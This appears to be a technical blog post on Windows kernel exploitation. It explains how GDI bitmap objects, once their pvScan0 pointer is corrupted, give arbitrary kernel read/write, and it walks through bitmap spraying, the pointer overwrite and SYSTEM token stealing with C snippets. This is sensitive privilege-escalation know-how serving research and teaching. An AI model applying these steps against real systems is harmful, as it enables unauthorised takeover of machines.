Logo blog @ teamserver.xyz
Advanced GDI Exploitation: From GDI Objects to Arbitrary Kernel Memory Access

Advanced GDI Exploitation: From GDI Objects to Arbitrary Kernel Memory Access

April 12, 2025
4 min read
Table of Contents

Introduction

Windows’ legacy graphics subsystem, GDI (Graphics Device Interface), has been a quiet powerhouse in kernel exploitation for over a decade. While Microsoft has layered in numerous mitigations like Kernel Control Flow Guard (KCFG), SMEP, and Win32k lockdown, the GDI attack surface persists — and still enables powerful primitives when paired with a suitable vulnerability.

In this deep-dive, we explore how to leverage GDI objects, particularly HBITMAP, to gain arbitrary read/write access to kernel memory — a critical step in most local privilege escalation (LPE) chains. Whether exploiting a vulnerable driver or chaining from a userland bug, GDI can turn limited access into full SYSTEM-level code execution.

GDI Objects and the Kernel

GDI objects live in the win32k.sys subsystem and are managed per-session via the GdiSharedHandleTable. Each handle (like HBITMAP, HPALETTE, HBRUSH, etc.) corresponds to an entry in this table, which maps user-mode handles to kernel-mode structures.

Internals of a Bitmap

A simplified version of the SURFOBJ structure (which underlies HBITMAP) might look like:

typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV private_dhpdev;
HDEV private_hdev;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0; // Pointer to bitmap pixel data (kernel mode)
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;

The magic lies in the pvScan0 pointer. If we can corrupt this field to point to arbitrary kernel memory, then standard userland APIs like SetBitmapBits() and GetBitmapBits() let us write to and read from any kernel address.

Exploitation Plan

The exploitation steps are straightforward in concept, but require finesse in practice:

  • Spray GDI objects (e.g., bitmaps) to create predictable structures.
  • Leak the kernel address of a target bitmap.
  • Overwrite its pvScan0 field via a bug (e.g., arbitrary write).
  • Abuse GDI APIs to gain arbitrary kernel R/W.
  • Elevate privileges by modifying kernel structures (e.g., process token).

Setup: Spraying and Locating Bitmaps

We allocate controlled bitmaps like so:

#define BITMAP_COUNT 512
HBITMAP g_bitmaps[BITMAP_COUNT];
for (int i = 0; i < BITMAP_COUNT; i++) {
g_bitmaps[i] = CreateBitmap(0x64, 0x64, 1, 32, NULL);
}

Each HBITMAP now maps to a SURFOBJ in kernel memory. With a known leak or info disclosure, we can resolve the kernel address of a specific bitmap.

In older systems, a predictable layout or use of NtQuerySystemInformation could assist in this step. On modern systems, this often requires a prior leak or bug to defeat Kernel Address Space Layout Randomization (KASLR).

Step 2: Overwriting pvScan0

Let’s assume a vulnerable driver gives us an arbitrary write primitive. We use it to overwrite the pvScan0 pointer of a selected bitmap object in kernel space:

// Overwrite target_bitmap->pvScan0 = &EPROCESS->Token
arbitrary_write(target_bitmap_pvScan0_addr, (ULONG_PTR)target_token_addr);

After this corruption, any call to SetBitmapBits() on the bitmap now writes directly to a sensitive kernel address — giving us full write access.

Step 3: Arbitrary Kernel R/W

Now the magic happens.

Kernel write

void KernelWrite(HBITMAP hBitmap, PVOID kernelAddress, BYTE* data, DWORD size) {
// The bitmap's pvScan0 must already point to kernelAddress
SetBitmapBits(hBitmap, size, data);
}

Kernel read

void KernelRead(HBITMAP hBitmap, PVOID kernelAddress, BYTE* outBuffer, DWORD size) {
GetBitmapBits(hBitmap, size, outBuffer);
}

This effectively gives us arbitrary kernel read/write. From here, we can elevate privileges by swapping out our process token for SYSTEM.

Token Stealing 101

Windows processes maintain a pointer to their token at:

EPROCESS + 0x4b8 // (Offset varies by version)

Once you identify:

  • Your EPROCESS
  • The SYSTEM process’s token

You can copy the SYSTEM token pointer over your own:

KernelWrite(hBitmap, my_eprocess + TOKEN_OFFSET, &system_token, sizeof(system_token));

Your process is now effectively running as NT AUTHORITY\SYSTEM.

References